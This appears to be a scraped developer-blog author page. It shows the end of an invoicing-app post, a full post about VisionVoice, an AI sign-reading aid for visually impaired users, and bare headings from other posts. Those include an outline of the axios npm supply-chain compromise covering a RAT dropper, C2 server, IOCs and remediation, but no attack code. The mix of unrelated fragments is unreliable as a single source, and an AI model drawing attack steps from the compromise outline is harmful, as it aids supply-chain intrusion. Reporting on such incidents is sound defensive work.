Built for: Indian businesses who need GST compliance without the \$50/month SaaS tax
The key is to start simple and iterate. My first version had one massive store and no data retention. It worked, but it didn't scale. Refactoring to split stores and adding retention policies made it production-ready.

If you're building something similar, focus on:

User isolation (multi-tenant from day one)
Performance (split stores, lazy loading)
Security (JWT, HTTP-only cookies, rate limiting)
UX (real-time previews, optimistic updates)

Questions? Drop them in the comments. I'd love to hear about your experiences building invoicing or financial systems!

Tech Stack: Next.js 16.1 • TypeScript 5 • MongoDB 7.0 • Zustand • Tailwind CSS 4

GitHub: https://github.com/DevCodeHub99/sndt-invoice-desk

Live Demo: https://shrinavdurgatrade.vercel.app/

Built with ❤️ for Indian businesses

VisionVoice: Making Signs Speak for the Visually Impaired with Google AI Studio

VIKAS — Thu, 11 Sep 2025 12:31:38 +0000

This is a submission for the Google AI Studio Multimodal Challenge

What I Built

I built VisionVoice — Multilingual Visual Aid for the Visually Impaired, an applet designed to break language and accessibility barriers.

The app helps visually impaired users by detecting emergency/public signs, translating them into multiple languages, and narrating them aloud. This ensures safety and independence in real-world scenarios, like navigating public spaces or understanding critical instructions.

Demo

🌍 Live App: https://visionvoiceai.vercel.app/
🔗 GitHub Repo: https://github.com/vikasmukhiya1999/VisionVoice---Multilingual-Visual-Aid-for-the-Visually-Impaired
▶️ Video Demo: https://youtu.be/N95jVdkpWbo

How I Used Google AI Studio

I leveraged Google AI Studio with Gemini 2.5 Flash Image to process multilingual visual inputs.

The model reads text from uploaded/real-time images.
Translates the detected text into the user’s preferred language.
Converts translated text into audio narration, making it accessible for visually impaired users.

Multimodal Features

Image-to-Text Extraction: Captures emergency signs, directions, or public notices.
Text Translation: Supports multiple languages for global accessibility.
Text-to-Speech Narration: Gives voice output so users can understand without needing to read.
Mobile-First UI: Simple, modern, and accessible design optimized for quick use.

This combination of multimodal features transforms how visually impaired individuals interact with their environment, bridging accessibility and inclusivity.

DEV Community: VIKAS

axios Was Compromised on npm — What Happened, How It Works, and What You Must Do Right Now

The Package That Powers the Internet Just Got Weaponized

What Happened — The Attack Timeline

Step 1 — Account Hijack: The Entry Point

Step 2 — The Fake Dependency: plain-crypto-js@4.2.1

Step 3 — The RAT Dropper: setup.js

The C2 Server

Platform-Specific Payloads

The Execution Speed

Anti-Forensics: The Evidence Swap

Am I Affected? — Check Right Now

Step 1 — Check for malicious axios versions

Step 2 — Check for the dropper directory

Step 3 — Check for RAT artifacts

Step 4 — Check your CI/CD history

Remediation — Step by Step

1. Downgrade to a safe version and pin it

2. Lock it with overrides to prevent transitive re-resolution

3. Remove the malicious package and reinstall clean

4. If RAT artifacts found — treat as full system compromise

5. Block the C2 domain at the network level

Indicators of Compromise (IOCs)

Malicious npm Packages

Network IOCs

File System IOCs

Safe Versions

What This Attack Teaches Us About Supply Chain Security

The threat model has fundamentally shifted

npm audit is not enough

postinstall hooks are the attack surface

The permanent fix: --ignore-scripts in CI

Prefer OIDC Trusted Publishing over long-lived tokens

Lock your dependencies — actually lock them

The Broader Picture: This Is Becoming Normal

Quick Reference Checklist

Resources

The Only Next.js Beginner Guide You Actually Need

The Practical Guide to Understanding Next.js Fast⚡

1. What Next.js Actually Is

2. Creating a Next.js App

3. Next.js Project Structure

4. Pages Router vs App Router

Pages Router (Older System)

App Router (Modern System)

5. Rendering Strategies in Next.js

6. CSR — Client Side Rendering

7. SSR — Server Side Rendering

8. SSG — Static Site Generation

9. Data Fetching in the App Router

10. Server Components vs Client Components

11. API Routes (Built-in Backend)

12. The Mental Model

Final Thoughts

Holi Overlay — Add Vibrant Holi Celebration Effects to Any Website

🎉 Holi Overlay — Bring Your Website Alive With Festive Colors! 🌈

🚀 What Is Holi Overlay?

🧩 What's Inside the Overlay

📦 Installation

🛠️ Via npm

📌 CDN (No Build Tools Needed)

I Built My Studio Website (Zyklabs) — Roast It, Review It, Improve It

🎨 A Product-Focused Studio Website + Added a Holi Overlay.

🌐 Live Website

🧠 Why I Built Zyklabs

Zyklabs became my experiment in moving from:

🏗️ What Zyklabs Is About

⚙️ Development Approach

1️⃣ Messaging Before Design

2️⃣ Performance-First Frontend

3️⃣ Conversion-Driven Structure

🎨 The Experimental Part — Holi Overlay

Why?

How It Works (Conceptually)

Design Philosophy

🧩 Challenges I Faced While Building Zyklabs

1️⃣ Positioning a Studio Without Looking Like an Agency

2️⃣ Building Trust Without Social Proof

3️⃣ Writing Copy as a Developer

4️⃣ Balancing Minimalism vs Business Trust

Step 2 — The Fake Dependency: `plain-crypto-js@4.2.1`

Step 3 — The RAT Dropper: `setup.js`

`npm audit` is not enough

`postinstall` hooks are the attack surface

The permanent fix: `--ignore-scripts` in CI